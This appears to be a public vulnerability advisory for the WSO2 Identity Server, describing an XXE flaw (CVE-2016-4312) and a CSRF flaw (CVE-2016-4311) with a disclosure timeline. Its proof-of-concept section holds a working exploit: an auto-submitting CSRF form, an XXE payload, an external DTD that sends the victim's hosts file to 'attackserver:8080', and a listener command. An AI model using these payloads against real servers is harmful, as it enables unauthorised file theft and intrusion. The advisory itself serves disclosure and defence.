The multi-tenant WSO2 Identity Server can be deployed directly on servers or in the cloud, and has the ability to propagate identities across geographical and enterprise borders in a connected business environment. Vulnerability Type: ============================ XML External Entity / CSRF CVE Reference(s): =================== CVE-2016-4312 (XXE) CVE-2016-4311 (CSRF) Vulnerability Details: ===================== WSO2IS XML parser is vulnerable to XXE attack in the XACML flow, this can be exploited when XML input containing a reference to an external entity is processed by a weakly configured XML parser. The attack leads to the disclosure and exfiltration of confidential data and arbitrary system files, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located (localhost), and other system impacts. The exploit can be carried out locally by an internal malicious user or remote via CSRF if an authenticated user clicks an attacker supplied link or visits a evil webpage. In case of WSO2IS system files can be read / exfiltrated to the remote attackers server for safe keeping -_- References: https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0096 Exploit code(s): =============== XXE POC, exfiltrate the victims Windows hosts file to our remote server. 1) Form for the XXE POST request. <form id='XXE' action="https://victim-server:9443/carbon/entitlement/eval-policy-submit.jsp?withPDP=false" method="post"> <textarea rows="20" cols="100" name="txtRequest"> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "C:WindowsSystem32driversetchosts"> <!ENTITY % dtd SYSTEM "http://attackserver:8080/payload.dtd"> %dtd;]> <Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17" CombinedDecision="false" ReturnPolicyIdList="false"> <Attributes> <Attribute>&send;</Attribute> </Attributes> </Request> </textarea> <input type="hidden" name="forwardTo" value="eval-policy.jsp"> <script>document.getElementById('XXE').submit()</script> </form> 2) DTD file on attacker server. <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attackserver:8080?%file;'>"> %all; 3) On attack server create listener for the victims HTTP request. python -m SimpleHTTPServer 8080 Disclosure Timeline: ============================================ Vendor Notification: May 6, 2016 Vendor Acknowledgement: May 6, 2016 Vendor Fix / Customer Alerts: June 30, 2016 August 12, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: =============== High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
